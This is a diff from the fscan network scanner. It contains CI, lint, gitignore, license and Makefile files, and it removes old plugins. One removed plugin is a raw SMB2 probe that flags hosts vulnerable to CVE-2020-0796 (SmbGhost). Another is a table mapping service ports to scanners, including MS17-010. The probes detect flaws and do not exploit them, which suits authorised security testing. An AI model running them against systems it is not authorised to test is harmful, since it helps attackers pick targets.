||||||
|
if [ -n "$CRITICAL" ]; then
|
||||||
|
echo "❌ Linting failed with critical issues:"
|
||||||
|
echo "$CRITICAL" | head -20
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
echo "✅ Lint 检查通过"
|
||||||
|
|
||||||
|
- name: 检查代码复杂度(质量门禁)
|
||||||
|
run: |
|
||||||
|
echo "### 🚦 复杂度质量门禁" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
# 检查认知复杂度>80的函数
|
||||||
|
COMPLEX_FUNCS=$(golangci-lint run --disable-all --enable=gocognit --out-format=line-number 2>&1 | grep "cognitive complexity" | grep -v "typechecking" || true)
|
||||||
|
|
||||||
|
if [ -n "$COMPLEX_FUNCS" ]; then
|
||||||
|
HIGH_COMPLEX=$(echo "$COMPLEX_FUNCS" | awk '{print $NF}' | sed 's/[()]//g' | awk -F'>' '{if ($1 > 80) print}' | wc -l)
|
||||||
|
|
||||||
|
if [ "$HIGH_COMPLEX" -gt 0 ]; then
|
||||||
|
echo "❌ **发现 $HIGH_COMPLEX 个复杂度>80的函数**" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo '```' >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "$COMPLEX_FUNCS" | awk '{print $NF}' | sed 's/[()]//g' | awk -F'>' '{if ($1 > 80) print "复杂度:", $1, "- 必须重构"}' >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo '```' >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "⚠️ 请重构复杂度>80的函数后再提交" >> $GITHUB_STEP_SUMMARY
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "✅ 代码复杂度检查通过(所有函数≤80)" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
test:
|
||||||
|
name: 单元测试和构建
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
timeout-minutes: 10
|
||||||
|
needs: lint
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- name: 检出代码
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: 设置 Go 环境
|
||||||
|
uses: actions/setup-go@v5
|
||||||
|
with:
|
||||||
|
go-version: '1.25'
|
||||||
|
cache: true
|
||||||
|
|
||||||
|
- name: 下载依赖
|
||||||
|
run: |
|
||||||
|
go mod download
|
||||||
|
go mod verify
|
||||||
|
|
||||||
|
- name: 运行测试
|
||||||
|
run: |
|
||||||
|
# 排除第三方grdp库测试(存在环境依赖问题)
|
||||||
|
PKGS=$(go list ./... | grep -v '/libs/grdp/')
|
||||||
|
go test -vet=off -race -coverprofile=coverage.out -covermode=atomic $PKGS
|
||||||
|
|
||||||
|
- name: 上传覆盖率
|
||||||
|
uses: actions/upload-artifact@v4
|
||||||
|
with:
|
||||||
|
name: coverage-report
|
||||||
|
path: coverage.out
|
||||||
|
retention-days: 7
|
||||||
|
|
||||||
|
- name: 显示覆盖率
|
||||||
|
run: |
|
||||||
|
echo "### 测试覆盖率报告" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
go tool cover -func=coverage.out >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
- name: 检查覆盖率(质量门禁)
|
||||||
|
run: |
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "### 🚦 覆盖率质量门禁" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
# 提取总体覆盖率(awk 整数比较,不需要 bc)
|
||||||
|
TOTAL_COVERAGE=$(go tool cover -func=coverage.out | grep total | awk '{print int($3)}')
|
||||||
|
|
||||||
|
echo "总体覆盖率: ${TOTAL_COVERAGE}%" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
# 警告阈值:总体<40%
|
||||||
|
if [ "$TOTAL_COVERAGE" -lt 40 ]; then
|
||||||
|
echo "⚠️ **警告**: 总体覆盖率 ${TOTAL_COVERAGE}% < 40%,建议补充测试" >> $GITHUB_STEP_SUMMARY
|
||||||
|
fi
|
||||||
|
|
||||||
|
# 检查是否有新增的未测试文件(0%覆盖率)
|
||||||
|
ZERO_COVERAGE_FILES=$(go tool cover -func=coverage.out | awk '$3 == "0.0%" && $1 !~ /_test\.go/' | wc -l)
|
||||||
|
if [ "$ZERO_COVERAGE_FILES" -gt 0 ]; then
|
||||||
|
echo "⚠️ **警告**: 发现 $ZERO_COVERAGE_FILES 个文件覆盖率为0%" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "请为新代码补充单元测试" >> $GITHUB_STEP_SUMMARY
|
||||||
|
else
|
||||||
|
echo "✅ 覆盖率检查通过" >> $GITHUB_STEP_SUMMARY
|
||||||
|
fi
|
||||||
|
|
||||||
|
build:
|
||||||
|
name: 构建验证
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
timeout-minutes: 5
|
||||||
|
needs: test
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- name: 检出代码
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: 设置 Go 环境
|
||||||
|
uses: actions/setup-go@v5
|
||||||
|
with:
|
||||||
|
go-version: '1.25'
|
||||||
|
cache: true
|
||||||
|
|
||||||
|
- name: 构建验证
|
||||||
|
run: |
|
||||||
|
# 只验证能否编译通过,不需要多平台构建
|
||||||
|
echo "🔨 验证 Linux/amd64 构建..."
|
||||||
|
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o /dev/null .
|
||||||
|
echo "✅ 构建成功"
|
||||||
+102
@@ -0,0 +1,102 @@
|
|||||||
|
result.txt
|
||||||
|
result.json
|
||||||
|
/main
|
||||||
|
.idea
|
||||||
|
fscan.exe
|
||||||
|
/fscan
|
||||||
|
fscanapi.csv
|
||||||
|
|
||||||
|
# IDE files / IDE 文件
|
||||||
|
.vscode/
|
||||||
|
.cursor/
|
||||||
|
.cursorrules
|
||||||
|
.claude/
|
||||||
|
|
||||||
|
# Local development files / 本地开发文件
|
||||||
|
*.local
|
||||||
|
*.tmp
|
||||||
|
*.temp
|
||||||
|
.env
|
||||||
|
.env.local
|
||||||
|
.env.development
|
||||||
|
.env.test
|
||||||
|
.env.production
|
||||||
|
|
||||||
|
# OS files / 操作系统文件
|
||||||
|
.DS_Store
|
||||||
|
.DS_Store?
|
||||||
|
._*
|
||||||
|
.Spotlight-V100
|
||||||
|
.Trashes
|
||||||
|
ehthumbs.db
|
||||||
|
Thumbs.db
|
||||||
|
desktop.ini
|
||||||
|
|
||||||
|
# Logs / 日志文件
|
||||||
|
*.log
|
||||||
|
logs/
|
||||||
|
log/
|
||||||
|
|
||||||
|
# Test coverage / 测试覆盖率
|
||||||
|
coverage.txt
|
||||||
|
coverage.html
|
||||||
|
*.cover
|
||||||
|
*.out
|
||||||
|
coverage*.out
|
||||||
|
|
||||||
|
# Test artifacts / 测试产物
|
||||||
|
*_report.txt
|
||||||
|
*_output.txt
|
||||||
|
*_test_*.txt
|
||||||
|
race_report.txt
|
||||||
|
test_output.txt
|
||||||
|
|
||||||
|
# Build artifacts / 构建产物
|
||||||
|
build/
|
||||||
|
bin/
|
||||||
|
*.exe
|
||||||
|
*.dll
|
||||||
|
*.so
|
||||||
|
*.dylib
|
||||||
|
/fscan_cli
|
||||||
|
/fscan_web
|
||||||
|
/embed-agent
|
||||||
|
|
||||||
|
# Web UI build / Web前端构建
|
||||||
|
web-ui/node_modules/
|
||||||
|
web-ui/dist/
|
||||||
|
!web/dist/
|
||||||
|
|
||||||
|
# Go specific / Go 相关
|
||||||
|
vendor/
|
||||||
|
*.test
|
||||||
|
*.prof
|
||||||
|
*.mem
|
||||||
|
*.cpu
|
||||||
|
__debug_bin*
|
||||||
|
go.work
|
||||||
|
go.work.sum
|
||||||
|
|
||||||
|
# Performance profiling / 性能分析
|
||||||
|
profiles/
|
||||||
|
|
||||||
|
# Local development tools / 本地开发工具
|
||||||
|
.air.toml
|
||||||
|
air_tmp/
|
||||||
|
|
||||||
|
# Todo files / Todo文件
|
||||||
|
Todo列表.md
|
||||||
|
*todo*.md
|
||||||
|
*TODO*.md
|
||||||
|
|
||||||
|
# Claude documentation / Claude文档
|
||||||
|
.claude_docs/
|
||||||
|
|
||||||
|
# Cleaner plugin artifacts / 清理插件产物
|
||||||
|
cleanup.bat
|
||||||
|
cleanup.sh
|
||||||
|
cleanup_script_*
|
||||||
|
|
||||||
|
# Compilation objects / 编译对象文件
|
||||||
|
*.o
|
||||||
|
*.a
|
||||||
@@ -0,0 +1,52 @@
|
|||||||
|
# golangci-lint v2 配置
|
||||||
|
version: "2"
|
||||||
|
|
||||||
|
run:
|
||||||
|
timeout: 5m
|
||||||
|
|
||||||
|
linters:
|
||||||
|
default: none
|
||||||
|
enable:
|
||||||
|
- govet
|
||||||
|
- errcheck
|
||||||
|
- staticcheck
|
||||||
|
- unused
|
||||||
|
- ineffassign
|
||||||
|
- gocyclo
|
||||||
|
- gocognit
|
||||||
|
settings:
|
||||||
|
govet:
|
||||||
|
disable:
|
||||||
|
- printf
|
||||||
|
errcheck:
|
||||||
|
check-type-assertions: true
|
||||||
|
exclude-functions:
|
||||||
|
- (net.Conn).Close
|
||||||
|
- (*os.File).Close
|
||||||
|
- os.Remove
|
||||||
|
- (github.com/hirochachacha/go-smb2.Session).Logoff
|
||||||
|
- (github.com/hirochachacha/go-smb2.Share).Umount
|
||||||
|
gocyclo:
|
||||||
|
min-complexity: 35
|
||||||
|
gocognit:
|
||||||
|
min-complexity: 80
|
||||||
|
exclusions:
|
||||||
|
generated: lax
|
||||||
|
rules:
|
||||||
|
- path: _test\.go
|
||||||
|
linters:
|
||||||
|
- gocyclo
|
||||||
|
- gocognit
|
||||||
|
- errcheck
|
||||||
|
- linters:
|
||||||
|
- govet
|
||||||
|
text: "fieldalignment:"
|
||||||
|
paths:
|
||||||
|
- vendor
|
||||||
|
- testdocker
|
||||||
|
- image
|
||||||
|
- libs/grdp
|
||||||
|
|
||||||
|
issues:
|
||||||
|
max-issues-per-linter: 50
|
||||||
|
max-same-issues: 3
|
||||||
+21
@@ -0,0 +1,21 @@
|
|||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2021 shadow1ng
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
@@ -0,0 +1,191 @@
|
|||||||
|
# fscan Makefile
|
||||||
|
# 提供统一的构建、测试、检查命令
|
||||||
|
|
||||||
|
.PHONY: help test test-cover build build-web build-ui build-debug build-race lint lint-fix clean ci deps install-tools stress-test
|
||||||
|
|
||||||
|
# 默认目标
|
||||||
|
.DEFAULT_GOAL := help
|
||||||
|
|
||||||
|
# 项目配置
|
||||||
|
BINARY_NAME := fscan
|
||||||
|
GO := go
|
||||||
|
GOLANGCI_LINT := golangci-lint
|
||||||
|
|
||||||
|
# 颜色输出
|
||||||
|
BLUE := \033[0;34m
|
||||||
|
GREEN := \033[0;32m
|
||||||
|
RED := \033[0;31m
|
||||||
|
NC := \033[0m # No Color
|
||||||
|
|
||||||
|
## help: 显示帮助信息
|
||||||
|
help:
|
||||||
|
@echo "$(BLUE)fscan 构建工具$(NC)"
|
||||||
|
@echo ""
|
||||||
|
@echo "$(GREEN)可用命令:$(NC)"
|
||||||
|
@grep -E '^## ' $(MAKEFILE_LIST) | sed 's/^## / /'
|
||||||
|
@echo ""
|
||||||
|
|
||||||
|
## deps: 下载依赖
|
||||||
|
deps:
|
||||||
|
@echo "$(BLUE)下载依赖...$(NC)"
|
||||||
|
$(GO) mod download
|
||||||
|
$(GO) mod verify
|
||||||
|
@echo "$(GREEN)✓ 依赖下载完成$(NC)"
|
||||||
|
|
||||||
|
## test: 运行测试
|
||||||
|
test:
|
||||||
|
@echo "$(BLUE)运行测试...$(NC)"
|
||||||
|
# 禁用go test内置的vet检查,因为i18n.GetTextF的间接格式化模式与vet的printf检查冲突
|
||||||
|
# golangci-lint会运行完整的vet检查(已在.golangci.yml中禁用printf)
|
||||||
|
$(GO) test -vet=off -race -v ./...
|
||||||
|
@echo "$(GREEN)✓ 测试通过$(NC)"
|
||||||
|
|
||||||
|
## test-cover: 运行测试并生成覆盖率报告
|
||||||
|
test-cover:
|
||||||
|
@echo "$(BLUE)运行测试(带覆盖率)...$(NC)"
|
||||||
|
# 禁用go test内置的vet检查,原因同上
|
||||||
|
$(GO) test -vet=off -race -coverprofile=coverage.out -covermode=atomic ./...
|
||||||
|
@echo ""
|
||||||
|
@echo "$(BLUE)覆盖率报告:$(NC)"
|
||||||
|
$(GO) tool cover -func=coverage.out | tail -1
|
||||||
|
@echo ""
|
||||||
|
@echo "$(GREEN)生成 HTML 报告: coverage.html$(NC)"
|
||||||
|
$(GO) tool cover -html=coverage.out -o coverage.html
|
||||||
|
@echo "$(GREEN)✓ 覆盖率报告生成完成$(NC)"
|
||||||
|
|
||||||
|
## build: 构建生产版本(无 pprof,优化体积)
|
||||||
|
build:
|
||||||
|
@echo "$(BLUE)构建生产版本(无 pprof)...$(NC)"
|
||||||
|
$(GO) build -ldflags="-s -w" -trimpath -o $(BINARY_NAME) .
|
||||||
|
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)$(NC)"
|
||||||
|
|
||||||
|
## build-web: 构建带Web UI的版本(需要先构建前端)
|
||||||
|
build-web: build-ui
|
||||||
|
@echo "$(BLUE)构建Web版本...$(NC)"
|
||||||
|
$(GO) build -tags web -ldflags="-s -w" -trimpath -o $(BINARY_NAME)-web .
|
||||||
|
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)-web$(NC)"
|
||||||
|
@echo "$(BLUE)提示: 运行 ./$(BINARY_NAME)-web 启动Web界面(默认端口 10240)$(NC)"
|
||||||
|
|
||||||
|
## build-ui: 构建前端(需要Node.js和npm)
|
||||||
|
build-ui:
|
||||||
|
@echo "$(BLUE)构建前端...$(NC)"
|
||||||
|
@if [ ! -d "web-ui" ]; then \
|
||||||
|
echo "$(RED)错误: web-ui 目录不存在$(NC)"; \
|
||||||
|
echo "请先创建前端项目"; \
|
||||||
|
exit 1; \
|
||||||
|
fi
|
||||||
|
@cd web-ui && npm install && npm run build
|
||||||
|
@rm -rf web/dist
|
||||||
|
@cp -r web-ui/dist web/dist
|
||||||
|
@echo "$(GREEN)✓ 前端构建完成$(NC)"
|
||||||
|
|
||||||
|
## build-debug: 构建调试版本(带 pprof)
|
||||||
|
build-debug:
|
||||||
|
@echo "$(BLUE)构建调试版本(带 pprof)...$(NC)"
|
||||||
|
$(GO) build -tags=debug -o $(BINARY_NAME)_debug .
|
||||||
|
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)_debug$(NC)"
|
||||||
|
@echo "$(BLUE)提示: 运行后访问 http://localhost:6060/debug/pprof$(NC)"
|
||||||
|
|
||||||
|
## build-race: 构建 race 检测版本
|
||||||
|
build-race:
|
||||||
|
@echo "$(BLUE)构建 race 检测版本...$(NC)"
|
||||||
|
$(GO) build -race -tags=debug -o $(BINARY_NAME)_race .
|
||||||
|
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)_race$(NC)"
|
||||||
|
@echo "$(BLUE)提示: 运行时会检测数据竞争,性能会降低$(NC)"
|
||||||
|
|
||||||
|
## build-all: 构建所有平台的二进制文件
|
||||||
|
build-all:
|
||||||
|
@echo "$(BLUE)构建所有平台...$(NC)"
|
||||||
|
@echo "Windows amd64..."
|
||||||
|
GOOS=windows GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-windows-amd64.exe .
|
||||||
|
@echo "Linux amd64..."
|
||||||
|
GOOS=linux GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-linux-amd64 .
|
||||||
|
@echo "Darwin amd64..."
|
||||||
|
GOOS=darwin GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-darwin-amd64 .
|
||||||
|
@echo "$(GREEN)✓ 所有平台构建完成$(NC)"
|
||||||
|
|
||||||
|
## lint: 运行代码检查
|
||||||
|
lint:
|
||||||
|
@echo "$(BLUE)运行代码检查...$(NC)"
|
||||||
|
@command -v $(GOLANGCI_LINT) >/dev/null 2>&1 || \
|
||||||
|
{ echo "$(RED)错误: golangci-lint 未安装$(NC)"; \
|
||||||
|
echo "运行 'make install-tools' 安装"; \
|
||||||
|
exit 1; }
|
||||||
|
$(GOLANGCI_LINT) run ./...
|
||||||
|
@echo "$(GREEN)✓ 代码检查通过$(NC)"
|
||||||
|
|
||||||
|
## lint-fix: 运行代码检查并自动修复
|
||||||
|
lint-fix:
|
||||||
|
@echo "$(BLUE)运行代码检查(自动修复)...$(NC)"
|
||||||
|
@command -v $(GOLANGCI_LINT) >/dev/null 2>&1 || \
|
||||||
|
{ echo "$(RED)错误: golangci-lint 未安装$(NC)"; \
|
||||||
|
echo "运行 'make install-tools' 安装"; \
|
||||||
|
exit 1; }
|
||||||
|
$(GOLANGCI_LINT) run --fix ./...
|
||||||
|
@echo "$(GREEN)✓ 代码检查完成(已自动修复)$(NC)"
|
||||||
|
|
||||||
|
## clean: 清理构建产物
|
||||||
|
clean:
|
||||||
|
@echo "$(BLUE)清理构建产物...$(NC)"
|
||||||
|
rm -f $(BINARY_NAME) $(BINARY_NAME).exe
|
||||||
|
rm -f $(BINARY_NAME)_debug $(BINARY_NAME)_debug.exe
|
||||||
|
rm -f $(BINARY_NAME)_race $(BINARY_NAME)_race.exe
|
||||||
|
rm -f coverage.out coverage.html
|
||||||
|
rm -rf dist/ tests/logs/
|
||||||
|
@echo "$(GREEN)✓ 清理完成$(NC)"
|
||||||
|
|
||||||
|
## stress-test: 压力测试(需要先 build-debug)
|
||||||
|
stress-test:
|
||||||
|
@echo "$(BLUE)压力测试...$(NC)"
|
||||||
|
@if [ ! -f $(BINARY_NAME)_debug ] && [ ! -f $(BINARY_NAME)_debug.exe ]; then \
|
||||||
|
echo "$(RED)错误: $(BINARY_NAME)_debug 不存在$(NC)"; \
|
||||||
|
echo "请先运行 'make build-debug'"; \
|
||||||
|
exit 1; \
|
||||||
|
fi
|
||||||
|
@if [ -f tests/stress_test.sh ]; then \
|
||||||
|
bash tests/stress_test.sh; \
|
||||||
|
else \
|
||||||
|
echo "$(RED)错误: tests/stress_test.sh 不存在$(NC)"; \
|
||||||
|
echo "请先创建压力测试脚本"; \
|
||||||
|
exit 1; \
|
||||||
|
fi
|
||||||
|
|
||||||
|
## ci: CI流程(lint + test + build)
|
||||||
|
ci: lint test build
|
||||||
|
@echo "$(GREEN)✓ CI流程完成$(NC)"
|
||||||
|
|
||||||
|
## install-tools: 安装开发工具
|
||||||
|
install-tools:
|
||||||
|
@echo "$(BLUE)安装开发工具...$(NC)"
|
||||||
|
@echo "检查 golangci-lint..."
|
||||||
|
@if command -v $(GOLANGCI_LINT) >/dev/null 2>&1; then \
|
||||||
|
echo "$(GREEN)✓ golangci-lint 已安装$(NC)"; \
|
||||||
|
$(GOLANGCI_LINT) version; \
|
||||||
|
else \
|
||||||
|
echo "$(BLUE)安装 golangci-lint...$(NC)"; \
|
||||||
|
if command -v go >/dev/null 2>&1; then \
|
||||||
|
echo "使用 go install 安装..."; \
|
||||||
|
go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest && \
|
||||||
|
echo "$(GREEN)✓ golangci-lint 安装成功$(NC)" && \
|
||||||
|
$(GOLANGCI_LINT) version || \
|
||||||
|
{ echo "$(RED)✗ 安装失败,请手动安装:$(NC)"; \
|
||||||
|
echo " go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest"; \
|
||||||
|
echo "或访问: https://golangci-lint.run/welcome/install/"; \
|
||||||
|
exit 1; }; \
|
||||||
|
else \
|
||||||
|
echo "$(RED)✗ Go 未安装,无法自动安装 golangci-lint$(NC)"; \
|
||||||
|
exit 1; \
|
||||||
|
fi; \
|
||||||
|
fi
|
||||||
|
|
||||||
|
## fmt: 格式化代码
|
||||||
|
fmt:
|
||||||
|
@echo "$(BLUE)格式化代码...$(NC)"
|
||||||
|
$(GO) fmt ./...
|
||||||
|
@echo "$(GREEN)✓ 代码格式化完成$(NC)"
|
||||||
|
|
||||||
|
## vet: 运行 go vet(跳过printf检查)
|
||||||
|
vet:
|
||||||
|
@echo "$(BLUE)运行 go vet...$(NC)"
|
||||||
|
$(GO) vet -printf=false ./...
|
||||||
|
@echo "$(GREEN)✓ go vet 检查通过$(NC)"
|
||||||
@@ -1,129 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
//Ladon Scanner for golang
|
|
||||||
//Author: k8gege
|
|
||||||
//K8Blog: http://k8gege.org
|
|
||||||
//Github: https://github.com/k8gege
|
|
||||||
import (
|
|
||||||
"../common"
|
|
||||||
"bytes"
|
|
||||||
"fmt"
|
|
||||||
"net"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
const (
|
|
||||||
pkt =
|
|
||||||
"\x00" + // session
|
|
||||||
"\x00\x00\xc0"+ // legth
|
|
||||||
|
|
||||||
"\xfeSMB@\x00"+ // protocol
|
|
||||||
|
|
||||||
//[MS-SMB2]: SMB2 NEGOTIATE Request
|
|
||||||
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
|
|
||||||
|
|
||||||
"\x00\x00" +
|
|
||||||
"\x00\x00" +
|
|
||||||
"\x00\x00" +
|
|
||||||
"\x00\x00" +
|
|
||||||
"\x1f\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
|
|
||||||
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
|
|
||||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
|
|
||||||
|
|
||||||
"$\x00" +
|
|
||||||
"\x08\x00" +
|
|
||||||
"\x01\x00" +
|
|
||||||
"\x00\x00" +
|
|
||||||
"\x7f\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"x\x00" +
|
|
||||||
"\x00\x00" +
|
|
||||||
"\x02\x00" +
|
|
||||||
"\x00\x00" +
|
|
||||||
"\x02\x02" +
|
|
||||||
"\x10\x02" +
|
|
||||||
"\x22\x02" +
|
|
||||||
"$\x02" +
|
|
||||||
"\x00\x03" +
|
|
||||||
"\x02\x03" +
|
|
||||||
"\x10\x03" +
|
|
||||||
"\x11\x03" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
|
|
||||||
|
|
||||||
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
|
|
||||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
|
|
||||||
|
|
||||||
"\x01\x00" +
|
|
||||||
"&\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x01\x00" +
|
|
||||||
"\x20\x00" +
|
|
||||||
"\x01\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00" +
|
|
||||||
|
|
||||||
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
|
|
||||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
|
|
||||||
|
|
||||||
"\x03\x00" +
|
|
||||||
"\x0e\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x01\x00" + //CompressionAlgorithmCount
|
|
||||||
"\x00\x00" +
|
|
||||||
"\x01\x00\x00\x00" +
|
|
||||||
"\x01\x00" + //LZNT1
|
|
||||||
"\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00"
|
|
||||||
)
|
|
||||||
func SmbGhost(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
|
||||||
SmbGhostScan(info)
|
|
||||||
wg.Done()
|
|
||||||
<- ch
|
|
||||||
}
|
|
||||||
|
|
||||||
func SmbGhostScan(info *common.HostInfo) {
|
|
||||||
ip,port,timeout := info.Host,445,time.Duration(info.Timeout)*time.Second
|
|
||||||
addr:=fmt.Sprintf("%s:%d",info.Host,port)
|
|
||||||
conn, err := net.DialTimeout("tcp", addr, timeout)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
} else {
|
|
||||||
conn.Write([]byte(pkt))
|
|
||||||
buff := make([]byte, 1024)
|
|
||||||
err = conn.SetReadDeadline(time.Now().Add(timeout))
|
|
||||||
n, err := conn.Read(buff)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}else {
|
|
||||||
defer conn.Close()
|
|
||||||
if bytes.Contains([]byte(buff[:n]), []byte("Public")) == true {
|
|
||||||
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable",ip)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,18 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
var PluginList = map[string]interface{}{
|
|
||||||
"21": FtpScan,
|
|
||||||
"22": SshScan,
|
|
||||||
"135": Findnet,
|
|
||||||
"445": SmbScan,
|
|
||||||
"1433":MssqlScan,
|
|
||||||
"3306": MysqlScan,
|
|
||||||
"5432": PostgresScan,
|
|
||||||
"6379": RedisScan,
|
|
||||||
"9200":elasticsearchScan,
|
|
||||||
"11211":MemcachedScan,
|
|
||||||
"27017":MongodbScan,
|
|
||||||
"1000001": MS17010,
|
|
||||||
"1000002": SmbGhost,
|
|
||||||
"1000003":WebTitle,
|
|
||||||
}
|
|
||||||
@@ -1,54 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"../common"
|
|
||||||
"fmt"
|
|
||||||
"io/ioutil"
|
|
||||||
"net"
|
|
||||||
"net/http"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
func elasticsearchScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
|
||||||
geturl2(info)
|
|
||||||
wg.Done()
|
|
||||||
<-ch
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
func geturl2(info *common.HostInfo) (flag bool,err error) {
|
|
||||||
flag = false
|
|
||||||
url := fmt.Sprintf("%s:%d/_cat",info.Url,common.PORTList["elastic"])
|
|
||||||
var client = &http.Client{
|
|
||||||
Transport:&http.Transport{
|
|
||||||
DialContext:(&net.Dialer{
|
|
||||||
Timeout:time.Duration(info.Timeout)*time.Second,
|
|
||||||
}).DialContext,
|
|
||||||
},
|
|
||||||
CheckRedirect:func(req *http.Request, via []*http.Request) error{
|
|
||||||
return http.ErrUseLastResponse
|
|
||||||
},
|
|
||||||
}
|
|
||||||
res,err:=http.NewRequest("GET",url,nil)
|
|
||||||
if err==nil{
|
|
||||||
res.Header.Add("User-agent","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
|
|
||||||
res.Header.Add("Accept","*/*")
|
|
||||||
res.Header.Add("Accept-Language","zh-CN,zh;q=0.9")
|
|
||||||
